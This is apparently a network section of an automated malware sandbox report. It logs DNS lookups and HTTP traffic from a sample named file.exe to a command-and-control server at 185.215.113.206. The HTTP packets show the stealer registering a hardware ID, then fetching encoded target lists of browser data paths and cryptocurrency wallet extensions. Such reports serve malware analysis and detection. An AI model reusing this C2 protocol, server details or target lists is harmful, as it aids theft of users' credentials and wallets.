Oct 30, 2024 04:34:47.079519033 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079555035 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079590082 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079629898 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079643965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079655886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079667091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079680920 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079685926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079691887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079698086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079715014 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079724073 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079746962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079776049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079814911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079827070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079838037 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079870939 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079912901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079925060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079936028 CET	80	50987	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 04:34:17.331003904 CET	192.168.2.6	1.1.1.1	0xbbf0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:17.331322908 CET	192.168.2.6	1.1.1.1	0xe21b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:21.080178976 CET	192.168.2.6	1.1.1.1	0x4418	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:21.080460072 CET	192.168.2.6	1.1.1.1	0x1756	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:22.079375982 CET	192.168.2.6	1.1.1.1	0xd14e	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:22.079437971 CET	192.168.2.6	1.1.1.1	0x7643	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:30.047133923 CET	192.168.2.6	1.1.1.1	0x937a	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:30.047544003 CET	192.168.2.6	1.1.1.1	0x2878	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:31.174273968 CET	192.168.2.6	1.1.1.1	0x86f6	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:31.176019907 CET	192.168.2.6	1.1.1.1	0x54b3	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 30, 2024 04:34:33.380261898 CET	192.168.2.6	1.1.1.1	0x87e	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:33.380573034 CET	192.168.2.6	1.1.1.1	0xbde8	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:33.391628027 CET	192.168.2.6	1.1.1.1	0x7a59	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:33.391752005 CET	192.168.2.6	1.1.1.1	0xcad1	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:33.400981903 CET	192.168.2.6	1.1.1.1	0xe91	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:33.401113987 CET	192.168.2.6	1.1.1.1	0x11ca	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:33.410952091 CET	192.168.2.6	1.1.1.1	0x5595	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:33.411092997 CET	192.168.2.6	1.1.1.1	0xbe4	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:34.535098076 CET	192.168.2.6	1.1.1.1	0xc9d2	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:34.535276890 CET	192.168.2.6	1.1.1.1	0xdc8	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:34.905688047 CET	192.168.2.6	1.1.1.1	0x7b05	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:34.905878067 CET	192.168.2.6	1.1.1.1	0xb174	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:34.906276941 CET	192.168.2.6	1.1.1.1	0x2465	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:34.906424046 CET	192.168.2.6	1.1.1.1	0xcae6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 04:34:34.915555954 CET	192.168.2.6	1.1.1.1	0x7903	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:34.915687084 CET	192.168.2.6	1.1.1.1	0xfe3c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 04:34:17.338650942 CET	1.1.1.1	192.168.2.6	0xbbf0	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:17.338865995 CET	1.1.1.1	192.168.2.6	0xe21b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 30, 2024 04:34:21.087286949 CET	1.1.1.1	192.168.2.6	0x4418	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:21.087286949 CET	1.1.1.1	192.168.2.6	0x4418	No error (0)	plus.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:21.087727070 CET	1.1.1.1	192.168.2.6	0x1756	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:22.086852074 CET	1.1.1.1	192.168.2.6	0xd14e	No error (0)	play.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:30.054693937 CET	1.1.1.1	192.168.2.6	0x937a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:30.055484056 CET	1.1.1.1	192.168.2.6	0x2878	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:30.187063932 CET	1.1.1.1	192.168.2.6	0xa873	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:30.187185049 CET	1.1.1.1	192.168.2.6	0x894	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:30.187185049 CET	1.1.1.1	192.168.2.6	0x894	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:31.182229042 CET	1.1.1.1	192.168.2.6	0x86f6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:31.183721066 CET	1.1.1.1	192.168.2.6	0x54b3	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:33.387516975 CET	1.1.1.1	192.168.2.6	0x87e	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:33.387516975 CET	1.1.1.1	192.168.2.6	0x87e	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:33.387516975 CET	1.1.1.1	192.168.2.6	0x87e	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:33.387516975 CET	1.1.1.1	192.168.2.6	0x87e	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:33.399364948 CET	1.1.1.1	192.168.2.6	0x7a59	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:33.408154964 CET	1.1.1.1	192.168.2.6	0x11ca	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:33.408752918 CET	1.1.1.1	192.168.2.6	0xe91	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:33.415056944 CET	1.1.1.1	192.168.2.6	0xcad1	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:33.417830944 CET	1.1.1.1	192.168.2.6	0x5595	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:33.418499947 CET	1.1.1.1	192.168.2.6	0xbe4	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:34.542463064 CET	1.1.1.1	192.168.2.6	0xc9d2	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:34.542463064 CET	1.1.1.1	192.168.2.6	0xc9d2	No error (0)	googlehosted.l.googleusercontent.com		142.250.74.193	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:34.543601990 CET	1.1.1.1	192.168.2.6	0xdc8	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:34:34.913084030 CET	1.1.1.1	192.168.2.6	0xb174	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 04:34:34.913108110 CET	1.1.1.1	192.168.2.6	0x7b05	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:34.913108110 CET	1.1.1.1	192.168.2.6	0x7b05	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:34.913347960 CET	1.1.1.1	192.168.2.6	0x2465	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:34.913347960 CET	1.1.1.1	192.168.2.6	0x2465	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:34.914227009 CET	1.1.1.1	192.168.2.6	0xcae6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 04:34:34.923430920 CET	1.1.1.1	192.168.2.6	0xfe3c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 04:34:34.923549891 CET	1.1.1.1	192.168.2.6	0x7903	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:34.923549891 CET	1.1.1.1	192.168.2.6	0x7903	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.215.113.206	80	6308	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:34:10.949690104 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 04:34:11.880636930 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:34:11.884604931 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFHDAKECFIDGDGDBKJD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 46 35 33 31 30 44 45 39 45 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GCFHDAKECFIDGDGDBKJDContent-Disposition: form-data; name="hwid"4F5310DE9E39786254513------GCFHDAKECFIDGDGDBKJDContent-Disposition: form-data; name="build"tale------GCFHDAKECFIDGDGDBKJD--
Oct 30, 2024 04:34:12.184770107 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6a 4d 30 4d 6a 55 7a 59 7a 59 34 4d 44 49 7a 4f 47 52 69 4f 57 5a 6a 59 6a 52 6d 4f 47 4d 77 4d 32 4a 69 59 32 55 79 59 57 4e 6a 59 7a 6b 33 4d 57 49 34 4e 44 49 77 4e 54 4a 6d 4e 6d 55 7a 4e 47 51 78 5a 6d 46 68 4f 57 55 31 5a 54 55 77 4d 7a 51 32 4d 44 68 69 5a 54 52 6c 4e 7a 4d 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YjM0MjUzYzY4MDIzOGRiOWZjYjRmOGMwM2JiY2UyYWNjYzk3MWI4NDIwNTJmNmUzNGQxZmFhOWU1ZTUwMzQ2MDhiZTRlNzMwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 30, 2024 04:34:12.186218977 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="message"browsers------JDGCGDBGCAAEBFIECGHD--
Oct 30, 2024 04:34:12.476234913 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 30, 2024 04:34:12.476253986 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 30, 2024 04:34:12.477586985 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="message"plugins------GHDAAKJEGCFCAKEBKJJE--
Oct 30, 2024 04:34:12.765749931 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 30, 2024 04:34:12.765774012 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
